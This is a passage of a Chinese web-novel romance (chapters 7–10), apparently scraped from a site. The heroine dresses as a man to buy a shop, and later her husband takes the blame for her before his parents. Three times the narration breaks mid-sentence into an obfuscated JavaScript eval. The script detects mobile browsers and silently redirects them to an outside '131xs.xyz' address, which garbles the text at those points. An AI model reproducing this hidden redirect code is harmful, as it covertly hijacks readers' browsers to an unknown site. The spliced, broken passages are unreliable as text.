鹿芩想了想,寻来一些手帕旧衣等填充物,塞进肩膀处的空腔里,将上半身撑起来。 她起身尝试着走了几步,结果和赶来的芝兰撞上,把芝兰吓了一跳。 芝兰茫然地看着眼前走路歪歪晃晃四肢不调男女不分的人,眨巴眨巴眼睛。 这张脸又像姑爷又像小姐,她分辨不清,一直结结巴巴地嘟囔着:“姑……小……小……姑?” “怎么样,认不出来吧?” 鹿芩见状得意地转了个圈,还摆了个帅帅的八字手势拖着下巴,将自己完美的装扮展示给芝兰看。 结果一动起来,她肩头塞的衣物便开始滑落,本来被塞的略显浮囊的肩膀,又慢慢瘪了下去。 鹿芩眼疾手快地按住了即将自由落体的衣服,干笑了一声。 看来这法子不大行啊,像小孩偷穿大人衣服似的。 听到这个甜美的声音,又眼见这些夸张的小动作,芝兰才敢确定眼前的人是小姐而不是姑爷。 “小姐?”芝兰又眨巴眨巴眼睛,“你……这是要做什么呀?” 难道小姐就这般深爱姑爷,爱到已经魔障了,都恨不得变成姑爷的样子吗? “上街!”鹿芩拽了一下肩膀上的布这料,让旧衣物归回原位,“芝兰,你去找个熟悉的家丁借身衣服,最好瘦小一点,我能穿上的。” “……”芝兰看着自己的活宝小姐哭笑不得,“小姐为何要扮男装上街?” “你不懂,这样才能保住小命,不被赵姨娘的人追杀。”鹿芩特意压低了声音,粗犷地说道,“芝兰,你不用跟随我,就在府上替我打掩护。若有人问起,你就说我去医馆找夫君了。” “这……”芝兰不太放心,毕竟上次小姐中暑昏厥过,若是身旁无人跟随,出了什么岔子,她这个贴身丫鬟可如何交代。 “外头烈日甚大,小姐身子弱,还是奴婢跟着小姐一起吧。” “不必不必。”鹿芩往兜里塞着银子,她现在可不怕中暑昏倒,因为就算昏倒了,她也可以穿回鹿府去,到那时指不定又能听见什么秘密,她一点也不吃亏。 芝兰望着她,还是不放心:“那小姐好歹带上几个奴仆随行吧。” “不用不用,除了你我信不过旁人,他们太碍事了。”鹿芩固执道,“快去快去,事不宜迟。” “哎……” 芝兰还想好言相劝两句,无奈自家小姐固执的很,她只得叹了口气去办。 借了家丁的衣服穿上后,鹿芩又再三嘱咐芝兰打好掩护,随即偷偷摸摸地溜出郝府,上街去了。 街边各色的招牌幌子被风吹的鼓胀,铺门敞开迎客,人来人往,十分热闹。 越往人群深处走,越能听得商户卖力的吆喝,一声声的,此起彼伏,相互淹没。 远离郝府,走到繁华地段以后,鹿芩不再畏手畏脚,开始挺直腰板,大摇大摆地顶着一张帅脸走着,见到美人儿,还会抛个媚眼过去,表示欣赏。 美人儿们看着这帅公子青涩又单纯的媚眼,纷纷露出害羞的笑容,这让鹿芩很是得意。 她走一路抛一路,只顾着撩美女,并未留意到自己身后远远地跟了个丫鬟。 路过景时医馆时,鹿芩悄咪咪地往里张望了一下,瞥了正专注看书的郝景时一眼。 这夫君太认真了,一有闲时间就钻研服饰,必成大器。 鹿芩又继续喜滋滋地往铺子那边走。 原本是想租一间屋子开铺,但因为郝景时过分大方,给了她不少补贴,此刻她手头富的流油,所以豪横地决定直接把铺子买下。 思来想去,她觉得最合适地方的还是鹿鸣手里的那一间。 这里离医馆很近,如果有什么不测,还能第一时间逃命到郝景时身边。 而且,等到时候衣铺开了,还可以搞一个买衣服免费号脉的营销活动。 鹿芩转身进到鹿鸣的茶点铺子里,这间铺子要比医馆大上两倍,放置着八张方桌以及数对椅子。 店内没有客人,只有几个小二在忙碌打扫,鹿鸣则坐在柜台那头的摇椅上,翘着二郎腿,仰面朝天地品茶。 鹿芩废话不多说,直接掏出一大把银票,往柜台上一拍。 她深知鹿鸣是见钱眼开的人,只要给的够多,他不会不卖的。 鹿鸣愣了一下,支起身体,拧着眉头上下打量起这个衣着平平的“男人”:“你谁啊,干什么?” 鹿芩扇扇手里的银票:“仁兄,这间铺子,你开个价,我买下了。” 果然如她所料,这一幕直接把鹿鸣看直了眼。 这一沓银票足足够买两家店铺了,见她出手如此阔绰,鹿鸣立刻起身,摆出一副讨好谄媚的样子,与她称兄道弟,还打发了一个小二去立契。 小二走后,他又开始套近乎:“仁兄,是我有眼不识泰山,我叫鹿鸣,敢问仁兄是?” 鹿芩骗他说:“我是郝家的家丁,今日奉命而来,跑了好几家也没办好事,正发愁呢,亏得鹿少爷爽快。” 一听到是郝家,鹿鸣以为是郝老爷,更激动了,连连说这是他妹妹的夫家,还想登门拜访。 鹿芩见事要收不住了,赶紧一通忽悠加画大饼,把他糊弄过去了。 本想随便应付几句以后就走,谁料鹿鸣越说越起劲,还问他平时去不去长乐坊。 长乐坊便是赌坊,一说起这个,鹿鸣便像打了鸡血一样兴奋,手脚并用地讲着自己赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283118|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的事迹。 鹿芩听的耳朵都快麻了,开口几次后终于成功打断了他喋喋不休的嘴,还与他约定三日后去官府签字画押。 说罢,鹿芩怕他再输出一通连珠炮,告了个别后一溜烟似的跑了出去,转头钻进了隔壁的景时医馆里。 同时伏在门外的丫鬟唰地躲到了柱子后面去,鹿鸣“哎”了一声,追出来想送送“仁兄”,没想到这人才出门就凭空消失似的不见了人影。 他茫然地望了望四处,嘴里念叨着“奇了怪了见了鬼了”,正要转身回屋时,一旁的柱子后面忽然走出一个丫鬟。 她文文弱弱地朝他行了个礼。 “大少爷。” …… 鹿芩风风火火地冲进景时医馆,因为跑的太猛,忽然腿一软,眼睛一花。 她“啪”地抓住柜台喘了口气,但手心的汗使得手打了滑,没抓住,随即咕咚一声,她整个人仰面倒了下去。 疼死了…… 鹿芩眼疾手快地护住了脑袋,但还是悲催地磕疼了胳膊肘和后背。 这一声动静不小,惹得郝景时一个激灵。 他放下手头的书本,站起身来扫了一眼,见这“男人”面色红润,看似并无大碍,便不耐烦道:“碰瓷别来小爷这儿,滚出去。” 鹿芩用手艰难地撑着地面爬了起来,掸了掸身上的灰:“谁碰瓷了?夫君,是我呀!” 她说完,捂着摔疼的腰,在郝景时错愕的目光中往前走了几步,还转了一圈。 “夫君,我扮男装帅不帅?” 听见是鹿芩的声音,郝景时茫然了,愣在原地,还以为自己眼花了。 怕他不信,鹿芩小碎步去水缸里舀了一瓢水泼在脸上,两手搓搓揉揉,又拿手绢胡乱一擦。 “这回你总能认出来了吧?”她抬起头来。 谁料郝景时望着她,“哧”地笑了一声。 只见她脸上的妆晕染开来,原本匀净的粉被水化开,变成一块一块的,粉红胭脂也在脸上划出浅淡的痕迹,融进一块块白色里。 这大花脸,活像个唱戏的丑角。 他抱起双臂,嘴角斜斜地翘着:“夫人啊,你这又是闹哪出啊?” 这几天他也算是看透了,他这个夫人,想一出是一出,满脑子尽是稀奇古怪的点子。 前天怼的他哑口无言,后天就能深情款款地认错求和,一会儿要开个铺子,一会儿又女扮男装跑来找他。 他真是没见过这般有意思的女子。 “你别笑话我啊,夫君。”难得见他笑了,鹿芩赶紧趁热打铁道,“我是出来给你买礼物来了,怕赵姨娘的人跟踪我,我才扮成男装的。” “礼物?”郝景时意外地抬眉,顿了下,“又不是年节,买礼物做什么?” “不是年节便不能送了吗?”鹿芩一本正经道,“这天下最好的东西,我都想送给夫君,不论何时何地。” 又来了。 郝景时实在不擅长回应这种甜言蜜语,于是不自在地扭过头,咳了一声。 “那,那你买了何物啊?” 见他又被哄得找不到北,鹿芩便知道火候到了,神秘兮兮地说,“隔壁的那间茶点铺子,我给夫君买下来了!” “哦,铺子……” 郝景时念叨了一句,脑中自动浮现铺子的画面时,才猛然反应过来。 他瞠目,“你,你说你买了什么?!” 8. 第 8 章 “隔壁的那间茶点铺子啊。”鹿芩老老实实重复,“怎么了?” “买下一间商铺所费可不少,你哪来的银子?你去抢劫了?” 鹿芩摊手:“不是夫君给我的银子吗?” 见她一副无辜的模样,郝景时竟无言以对,一时间有点想掐人中了。 怪不得嘴刚刚比蜜甜,原来是在这等着他呢! “是,银子是小爷给你的。”郝景时咬紧牙关,“但小爷什么时候说让你买铺子了?你分明是自作主张,无赖,还想拖小爷下水?” “哎呀,那是人家误会了嘛。” 见郝景时愤懑地用手指着她,鹿芩便抿了抿唇,准备开始服软大法,晓之以理,动之以情。 她微微嘟起嘴巴,抬起眼皮,用水汪汪的眸子望着他,放轻声音,十分委屈地说: “夫君,你别生气嘛,在这世上除了爹就是你对我最好,人家只是希望你能做自己喜欢的事……况且你还不知道吧,隔壁的铺子其实是我大哥的,他在里面安插了眼线,妄想监视你我……我一己之身不要紧,可绝不能连累夫君被害呀。” “…………”听她这一串话说下来,又见她昂着残妆大花脸楚楚可怜地望着自己,郝景时哭笑不得地泄了气。 这个鹿大小姐,最近不知是吃错什么药了,好话一套一套的说,偏偏他还就吃这套,一看见她露出那弱小无助又可怜的目光,他就忍不住心软。 罢了,宰相肚里能撑船,谁让小爷仗义,就不和她一般见识了。 反正也是自己的夫人,往后的日子还得过,忍就忍了吧。 “小爷不是那个意思。”郝景时无奈地把指向她的手收回来了,两条胳膊又抱在一起,“家中收支皆有账本记录,你骤然花了一大笔银子,如何解释,不怕父亲母亲知道了怪罪?” 鹿芩信誓旦旦地举手:“要罚,便让他们罚我,和夫君没系。公婆那边,我去劝说,店铺也由我来经营,不必夫君操劳,夫君只管在闲暇时设计衣稿便是。” “想的倒是周到。”郝景时狐疑,“你当真只是为了我?” “其实人家也有私心……”鹿芩对手指,继续哄骗道,“夫君时常守在医馆,人家思念不已,若是在旁边开一间衣铺,也好时时见到夫君……” “行了行了。”一听这种话,郝景时简直比敏感肌还敏感肌,红着耳根一挥手,像要给她消音似的,“别说这些了,你就说你到底想怎么样吧。” 他这话一出,鹿芩便知道这事八成是搞定了,索性爽快地坦白道:“我已经和鹿鸣商定了,三日后去官府签地契,还得夫君亲自去一趟。” 郝景时听后总觉得哪不对劲,说是给他买礼物,结果花的是他的钱,还得他亲自跑去签字画押。 但他懒得计较了,便一屁股坐回去:“知道了。你回去吧。” 说罢往椅背上一靠,长腿随意一交叠,重新抄起书来看。 鹿芩没走,指指脸蛋:“夫君,人家的妆都花了,万一碰上赵……” “玄岚。” “……”这家伙是看出自己被套路了所以不爽了吗,话都没耐心听,甚至连眼皮都懒得抬一下了。 鹿芩扫了一周,并未看见玄岚的身影,结果隔了两秒,他从窗外的树上跳下来了。 “少夫人,我送您回府。”玄岚像木头桩子一样站得笔直道。 “ok!”鹿芩心满意足地给郝景时飞了几个飞吻。 夫君很是善解人意,好评。 “……” 见郝景时莫名其妙地望着她,鹿芩才想起来这人貌似听不懂英文,又咳咳咳掩饰了一下,朝他扮了个鬼脸。 “哦嘿!……走吧玄岚!” 玄岚想笑而不敢,便面无表情地跟着。 “等一下。” 郝景时在她身后扶了下额,没忍住又叫住了她。 “把脸洗干净再走,小爷嫌丢人。” …… 洗净了脸以后,鹿芩撑着伞,踏上回府的路。 玄岚在她身后一声不响地护送着,见他被日头晒得额头反光,鹿芩便邀他一起撑伞,但被他拒绝了,说不合礼数。 鹿芩想想觉得确实不妥,无奈只好作罢,走着走着,开始琢磨起装修的事。 铺子搞定了,郝景时也搞定了,她的计划已经成功了一大半,公婆那边就暂且瞒着,等到铺子装修好了一开张,瓜熟蒂落,他们自然也就没办法反对了。 想到这,她扭头问玄岚:“玄岚,你可知哪里有会修葺房屋的能工巧匠吗?” 玄岚答:“西城街有一家姓赵的工匠,听说曾给皇家做过活,手艺极好。” “哦,西城街。”鹿芩默默地记下来了。 她不能出府太久,今日去怕是来不及了,只能另寻他日了。 鹿芩边构想着店面的装饰边朝前走着,玄岚随行,走路悄无声息的,时不时还会翻身上树练练身手,吓得她以为是什么刺客,赶紧回头一探究竟。 玄岚见她紧张,便给她吃定心丸说自己以一敌十,绝不让坏人靠近她分毫。 眼看他又三下五除二地爬上树了,还摘了好几片大个儿的叶子编在一起遮阳,鹿芩哭笑不得地点点头。 火球似的太阳悬在头顶,炙烤地面,四处闷闷的像个蒸炉,走着走着,鹿芩只觉得伞也快被烤化了,额头直冒汗珠,浑身黏腻起来。 回府的路似乎格外漫长,终于瞧见了郝府的大门,她才舒了口气。 日头晒着,守门的家丁们都精神不济,躲在屋檐下的阴凉里,有些打蔫,唯独一个瘦小的身影撑着伞,在郝府门前来回来去地踱步。 鹿芩越走越近,才发现踱步那丫鬟是芝兰。 她心觉不妙,于是快走了几步,同时芝兰也注意到了她,匆匆忙忙地迎上来,似乎是已经盼了她许久了。 “小姐,你可算回来了。”芝兰见她额头满是汗,赶紧掏出手帕给她拭去,神色慌慌张张的,“老爷和老夫人刚刚喊了奴婢问小姐的去向,奴婢按小姐所说回答了,可老爷和老夫人面色都不大和善,还派奴婢在这里守着,说是等你回来了叫你过去一趟呢。” 早上请过了安,又还没到用膳的时辰,这个时候叫她过去,八成是露馅了? 鹿芩心里有种不好的预感,接着又听唰的一声,玄岚添乱似的蹿上树去了,随即便闪来闪去不见了踪影。 鹿芩无暇管他,“公婆现在在何处等我?” 芝兰答:“在中堂。” “走,你与我一同去。” 鹿芩将伞丢给家丁,火急火燎地冲进门,芝兰紧随其后,高举着伞,生怕她被晒到。 冲了几步,鹿芩忽然想到自己还身穿着家丁的衣服,又一个急刹车停下来了。 她换了个方向:“芝兰,你先去,记得帮我拖点时间,我得去更衣,速速就来。” 不等芝兰回答,她便匆匆迈着步子回了寝室,芝兰在原地急得跺了下脚,但也只能按照小姐的吩咐办事。 在寝室手忙脚乱地换了自己的衣裳后,鹿芩赶紧飞奔赶去中堂。 一股股热风扑面而来,加剧了内心的不安和焦虑,她额头沁汗,生怕耽搁。 匆忙赶到时,鹿芩看见郝老爷和郝老夫人早已正端坐堂中,他们遣退了近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283119|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身伺候的人,除了芝兰,一个都没留在身侧。 堂前的树遮住了烈日,因此堂中十分清凉,她心里也得了一丝松泛。 “父亲母亲久等了。”鹿芩匆匆中维持着从容的姿态下跪,“儿媳知错。” “知错?” 谁料,还没等她话音落下,郝老爷便疾言厉色道,“那你便说说,你何错之有啊?” 鹿芩被他质问的心头一抖,但她清楚公婆不是不明事理的人,今日对她发火,一定是有什么特别的缘故。 因此她立刻谦卑道:“儿媳不知,还请父亲明示。” 郝老爷放下了茶盏,也没卖关子,直言道:“时儿性子倔,之前多少是委屈了你,我和老夫人都理解。但郝府有郝府的规矩,你既然做了我家儿媳,就不得不从。你今日偷偷扮了男装出府上街,还足足去了一个时辰,还把不把我和老夫人放在眼里?” 听到公公铿锵有力的言语,鹿芩傻眼了一瞬。 不难猜到是有人告了密。 她想了一下,立马嘿嘿一笑装傻道:“父亲误会了,儿媳在闺中时缠绵病榻,甚少出门,所以不知这些规矩,儿媳嫁到郝府没多少时日,对诸多事务还不熟悉,并非故意不从。儿媳今日出门,是因为夫君说要治我的病,让我每日出去找他一趟,您若不信,可以喊夫君回来,为我作证。” 一股脑地解释完以后,她慢慢低下头,看似乖巧,实则心里慌的一批。 可千万别喊郝景时回来啊……不然就全露馅了…… “还敢撒谎。”没想到郝老爷拍案道,“你哪里是去找时儿,分明是去了医馆隔壁茶点铺,这是你的陪嫁丫鬟亲眼所见,她还敢骗人不成?” 她的陪嫁丫鬟亲眼所见? 鹿芩当即转头看了看芝兰。 芝兰惶恐地直摇头,扑通跪下,挪动着膝盖来到鹿芩身后。 “小,小姐的确是去找姑爷的,只是走的匆忙未来的及向老爷和老夫人回禀,所以让奴婢守着府上,若有人问起便知会一声,奴婢是怕小姐无人照顾,才让玉桂悄悄跟随,其余的奴婢实在不知啊……” 玉桂?哪来的玉桂啊? 鹿芩呆了一下,脑子里的记忆又自动涌出来了——这个玉桂的确也是她的陪嫁丫鬟,只不过性子比较安静,平时很少在她眼前晃悠,比不上芝兰亲近,她没什么印象。 这个芝兰,都说了不许第二人知晓,不许别人跟着,她怎么还稀里糊涂的好心办坏事! 鹿芩有些恨铁不成钢,但此刻不是责备芝兰的时候。 为了不冤枉她,郝老爷当即喊了玉桂过来问话。 比起神色紧张的芝兰,玉桂倒是不卑不亢,一进来便直直跪下,把自己所见的全都抖搂出去了。 “奴婢不敢撒谎,小姐的确是扮了男装出门,还拿了不少银子去买商铺。奴婢知道小姐手里的银子出自郝府,奴婢不想看着小姐犯错,可怎么劝都劝不住小姐,只能向老爷和老夫人坦白此事。小姐恕罪,奴婢实在不能看着您执迷不悟啊!” 玉桂说罢,狠狠一个叩头下去,趴在地上不起来了。 虽说早就料到了会露馅,也做好了受罚的准备,但鹿芩没想到这玉桂能这么不要脸。 还“怎么劝都劝不住”,有你的事吗,出门时候连你个影子都没见。 无冤无仇的,非要编个瞎话来揭发她,这玉桂必定是赵姨娘安排在她身边的眼线吧? 鹿芩想瞪但瞪不到她,只能气愤地回过头。 这时,又听郝老爷说道:“老夫人才说让你学习管府里的事,你便敢拿着银子自作主张地买下一间铺子,成何体统!” 9. 第 9 章 面对郝老爷的质问,鹿芩自知难以辩解,毕竟玉桂说的都是实话,她的确是买了铺子,付了定金、立了地契,还约了鹿鸣去官府签字画押。 若是她喊冤,玉桂指定会让郝老爷彻查,万一鹿鸣再闹出什么幺蛾子……甚至赵姨娘可能还在其中设了更深的圈套……那时候她就更没法解释了。 鹿芩知道自己难逃一劫,还不如立刻就服软卖乖,争取从轻发落,于是叩了头准备领罚。 没想到这时,一道声音从堂外远远地传了过来,如同玉击青石壁般清亮。 “那间铺子,是我让夫人买的。” 听得此话,众人都顿了一下。 这声音…… 鹿芩不敢置信,僵了一下后直起了身体,慢慢扭过头。 只听“唰唰”两声,玄岚飞奔到了堂中,朝郝老爷和郝老夫人行了个礼,又“唰”地爬到树上去了。 玄岚身后,一人不紧不慢地迈着步子朝这边走着,渐渐从日头下走进树荫里。 虽然他身影还未清晰,但众人都心知肚明。 这不羁的步子,这底气十足的嗓音,除了郝景时大少爷,还能有谁。 见郝景时径直朝这边走来,玉桂很是意外,脸色立马变得铁青。 鹿芩滞了片刻的功夫,就见郝景时走到她身边,低头扫了她一眼,唇边勾起个意味不明的笑,像是嘲讽她太笨,竟被人算计了似的。 随后,他一抖衣袍,跪在了她身侧:“父亲,母亲。” 郝老爷面色一变:“时儿,你跟着胡闹什么?” “儿子没胡闹。”郝景时道,“铺子是我要买的,银子是我给夫人的,地契签的也是我的名字,您大可去查。” 说着,还十分得意地扬眉:“再说了,夫人怎能做得了我的主。” 郝老爷听后眉头拧在一起,也是,就他平时那个倔驴一样的性子,一向说一不二,鹿芩哪能拗的过他。 如此说来,他的话倒真有几分可信。 郝老爷又问:“你不守好医馆,买那间铺子做什么?” 郝景时回道:“父亲有所不知,儿子其实一直喜欢设计衣稿,想开一家衣铺。儿子知道父亲母亲肯定不允,所以只能另想办法。” 他摊手:“如今夫人正学着管家,儿子自然不能错过这好机会。” 郝老爷听后,瞪了他一眼,随即面色缓和了,抬手示意芝兰去扶鹿芩起来。 “好儿媳,是我冤了你,快起来吧。” “你也是傻,他说什么便是什么,还要替他掩饰,眼看着你就要主持家事,怎可还由着他胡闹!” 鹿芩在芝兰的搀扶下颤颤巍巍地站了起来,还不等她答话,郝景时便表情不屑道:“她那老鼠胆子,我不让她说,她自然不敢说。” 他两手一搭:“反正铺子已经买了,银子已经花出去了,回不来了。我早知会有今日,父亲要罚便罚吧。一人做事一人当,用不着夫人来替我顶罪。” 看着他这振振有词的模样,鹿芩默默低下头。 谁能料到,刚刚还瞪眼高喊“你还想拖小爷下水”的人,这会儿却自己跳进水里来了。 “景时,你越发的没规矩了,敢这样和父亲说话,郝府是容不下你了吗?”郝老夫人见状,忍不住出言斥责,“再说芩儿是你的发妻,有你这样说话的吗?” “发妻又如何。”郝景时依然架着胳膊,一副并不服管教的模样,反问道,“是我愿意娶的吗?” “你这孩子!”老夫人听后被气的不轻,声音都抖了起来,“简直无法无天!去廊前跪两个时辰,不许用午膳了,好好反思己过!出去!” 郝景时懒洋洋地起身,道了声“是”。 他大步流星地离开,路过玉桂时,特意停留了一下,瞪她一眼说道:“你这多嘴的奴婢,竟敢来这胡说八道,还坏了小爷的好事。你最好滚出郝府,别让小爷动手。” 说完,他在众人的注视下走到廊前去,掀起衣摆,直挺挺地跪了下去。 树上一动不动的玄岚忽然也“唰”地跳下了树,过去跟着主子一同罚跪。 玉桂不是不知道郝景时的桀骜性子,这下更是被他的话吓得不轻,伏在地上不敢起来:“少爷饶命,老爷饶命!” “你瞧瞧,你瞧瞧,动不动就威胁人,他现在像什么样子?”老夫人气的指着郝景时的影子斥责,“逆子,他是翅膀硬了!” “夫人别气坏身子。”见状,郝老爷立马打发了玉桂出去,安抚着郝老夫人,和稀泥道,“时儿就是那个性子,再说那丫鬟确实撒了谎,冤了儿媳,也该受罚。” 郝老夫人听后连他一起瞪:“都是你纵着他,现在可好了,谁也管不了。” 郝老爷呵呵赔笑:“是怪我,怪我,消消气,等会我好好教训这逆子。” 闻言,鹿芩忍不住回头看了看“逆子”,他的背影笔直,一刻也不肯松垮,似乎在怄气说“我不服”。 廊前的路是郝府要道,总有家丁路过,他跪在这里,多少会被拂了面子。 鹿芩一时间心里有愧,很不是滋味。 “芩儿。” 郝老夫人缓了缓后,又唤了鹿芩一声。 鹿芩回过神,紧着答应:“母亲。” 郝老夫人:“记着,往后不必对那孽障言听计从,也不必由着他的性子乱来。” 鹿芩道了声“是”。 “今日之事,虽不是你所为,但你身为妻子未能及时劝阻景时,我不得不罚,否则日后人人效仿,岂非乱了套,你在府里也难以服众。” “母亲说的是,儿媳的确有过错。” 见她认错态度良好,郝老夫人也没有太严厉,平和地说道:“那就罚你回去抄一遍女则,明日晌午,拿到我房里来。” “是。”鹿芩乖巧地点点头,“都听母亲的。” 她知道,这处罚肯定比原来轻多了。 郝景时的出现,成功把公婆对她的不满转移了。 虽然不明白他为什么要这样做,但她很感动。 她这夫君,确实是仗义的没话说啊…… 认了错后,鹿芩顺势也安抚了老夫人几句,又劝郝老爷带着郝老夫人回去休息。 郝老夫人虽然怒火未消,也罚了他们二人,但并未有不准他们继续开铺子的意思,似乎不想理会这个逆子,爱开什么铺子都随他去了。 如此说来,她也不算太亏,至少达到了目的。 鹿芩悬着的心落了地,等到郝老爷带着郝老夫人离开了中堂,才彻底松了口气,一屁股瘫坐在了地上。 “小姐。”芝兰见没事了,也霎时间松了口气,撑着伞小跑了过来,另一手朝她伸了过去,“咱们也回去吧,小姐跪了半天,还要回去抄女则,怕身子吃不消啊。” 鹿芩点点头,搭上她伸过来的手,借力从地上站起来了。 起身后,她又回过头去望着廊前的那个倔强的身影。 虽然看不见他的表情,但她猜测他此刻一定不悦。 再怎么说,这事也是她闹出来的,到头来竟是他帮她受罚,还连累了玄岚一起。 鹿芩觉得良心隐隐作痛,便转过身,朝着郝景时那边走过去。 还隔着几米远时,她发现他后背的衣裳被汗洇透了,已经湿了一大片,玄色的衣裳生生被透的深了个色号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283120|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿芩觉得不是滋味,示意芝兰给郝景时撑伞挡着烈日,自己则快步绕到了他身前。 她蹲下来,视线与他齐平,发觉他额前也落下了豆大的汗珠,几缕碎发被汗粘住,凝成了一小股,塌塌地贴在脑门上。 “干嘛?” 见她盯着自己,郝景时别扭地侧过头去,不想让她见到自己这副狼狈样子。 鹿芩叹了口气,掏出手帕,蹲下去给他擦了擦汗珠。 他的额头温温热热的,暖过她的指尖。 “夫君,都说好了,要罚便罚我,与你无关,你又何苦要赶回来。” 说实话,除了愧疚之外,她还有点担心郝景时会一气之下离家出走,或者偷偷给她的药里下毒毒死她。 毕竟他性子这么傲,此刻被罚跪在人来人往的廊下,他不难受死才怪。 郝景时听后,哼了一声,出乎她所料,并没有气急的意思,反倒看着心情还不错。 实际上,他早就习惯了罚跪,郝府的下人也都不觉得稀奇——大少爷从小叛逆到大,隔三差五就被罚跪在这,都快成一道靓丽的风景线了。 从小到大,他一直被家族严格教导,处处循规蹈矩,长辈们用嫡长子的责任压着他,父母也将所有的指望都放在他身上,无人在意他的想法。 唯有鹿芩,看出他的爱好,欣赏他的能力,还傻乎乎地固执地去为他做了这么多事情,支持他喜欢的事。 虽然方法蠢笨了点,还有点坑人,但他还是被她的心意打动了。 玄岚匆匆跑回来告诉他少夫人被老夫人叫走时,他便猜到她要受罚。 于情于理,他都不忍心。 所以就匆匆赶回来,揽下了所有责任。 “小爷若不回来,现在罚跪的便是你。”他说道,“就你那身子骨,跪上一个时辰早就散架了,小爷好不容易治好你,可懒得再治你一遍。” 见他还能故作轻松地打趣,鹿芩更觉得愧疚了:“说到底是我连累了你,夫君,实在是抱歉,等时辰过了,我便来给你上药。” “你是在心疼小爷?”郝景时听后抬头瞄了她一眼,翘起下巴。 “不用,就算今日是狗被罚,小爷也照样帮。快回去抄你的女则吧,别等到抄不完的时候,又来找小爷哭唧唧,小爷也没招。” “……” 鹿芩本来心头又愧疚又感动的,听完他这番话,瞬间想翻一万个白眼。 好吧,这个臭不要脸的人不是故作轻松,他是真没当回事。 “不是。”她装不下去深情款款的样子了,索性把手帕甩在他脸上,站起来,叉腰质问,“谁跟你哭唧唧了?” 郝景时把手帕拽下,坏心眼地笑了起来,似乎激怒她正合他意:“你看,怎么急了?刚刚还说对不住小爷,这会说翻脸就翻脸。” 急你大坝! 见玄岚想笑又不敢笑地抽动了一下嘴角,鹿芩气急败坏地把芝兰手里的伞抢了过来,收成一条棍,敲了一下他的脑袋。 “笑笑笑,有什么好笑的!” 玄岚捂住脑袋,一点也不敢笑了,把嘴角耷拉了下去。 鹿芩气不过,又连着揍了郝景时两下,用伞“梆梆”地打在他肩膀和后背上。 郝景时吃痛地皱眉,忍不住想要怼她两句,“喂,你这人怎么忘恩负……” 结果不等后半句说完,就见整个伞都重重地朝他砸了过来。 郝景时赶紧闪过头,眼疾手快地抓住伞柄,让伞落进了他怀里,免了被砸的鼻青脸肿。 “义……”他再一抬头,鹿芩早已经扬长而去。 身后还飘荡过来一句刻薄的,“晒死你算了”。 10. 第 10 章 气愤地狂奔回到寝室以后,鹿芩平复了一下心情,铺开纸笔准备抄女则。 但她越平复越平复不下来,气的索性先在纸上写了个大大的“郝景时是傻叉”。 傻叉,好好说话会死吗?非要故意气她! 大傻叉! 芝兰在一旁磨着墨,歪头去看她写的字:“小姐,这傻叉……是何意?” 鹿芩把纸揉成一团丢到一旁,哼笑道,“这是我对夫君的爱称,你不用懂。” “哦……”芝兰半懂不懂地点点头,不过看小姐那渗人的微笑……真的是爱称吗? “小姐。”她眯了眯眼笑道,“其实奴婢觉得……姑爷是在意小姐的,否则也不会赶回来给小姐解围了。” “他在意我?”鹿芩沾了沾墨,不以为然道,“可得了吧,你没听到他刚刚说的话吗,就算是狗被罚,他也会回来救的!” “那是姑爷嘴硬罢了,小姐怎么会听不出呢。”芝兰嘟囔,“奴婢瞧着姑爷心眼不算坏,也不像赵姨娘所说那般纨绔呀……” 听到这话,鹿芩的笔顿了顿,走神了一瞬。 是啊,连芝兰都看得懂的事,她怎么会看不懂呢。 郝景时那样的性子,他不愿意的事谁敢逼他? 新婚那晚,那么多家丁都没能把他带回府里来,今天若不是他自己愿意,又怎么会跑回来多管闲事。 他分明就是猜到父母会发火,为了救她特意回来的。 否则他大可以装死不过问。 鹿芩思来想去,还是想不明白他为什么回来,索性不想了。 她心浮气躁地说:“提他干什么,研磨,不然抄不完了。” “是。”芝兰见她不愿听,便不再多言了。 陪着月,披着星,主仆二人开始点灯熬蜡地抄写女则。 女则足足有十卷,加起来数万字,鹿芩粗略算了一下,除非她一晚上不睡,否则到第二天晌午根本就抄不完。 而且,毛笔太难用了,烛光又不及电灯那般明亮,这样艰苦的条件下抄写,真可谓是一大挑战,不,酷刑。 一个时辰后,鹿芩揉了揉模模糊糊的眼睛,开始想念自己没穿越前用了半瓶就扔掉的玻璃酸钠眼药水。 这时芝兰端了茶水过来,心疼道:“小姐,实在累了就歇歇吧,奴婢帮你抄一点。” “不用,马上就抄完了。” 鹿芩眨了眨干涩的眼睛,又蘸了蘸墨继续往下写。 其实还差万把字呢……但她不想让芝兰跟着受折磨。 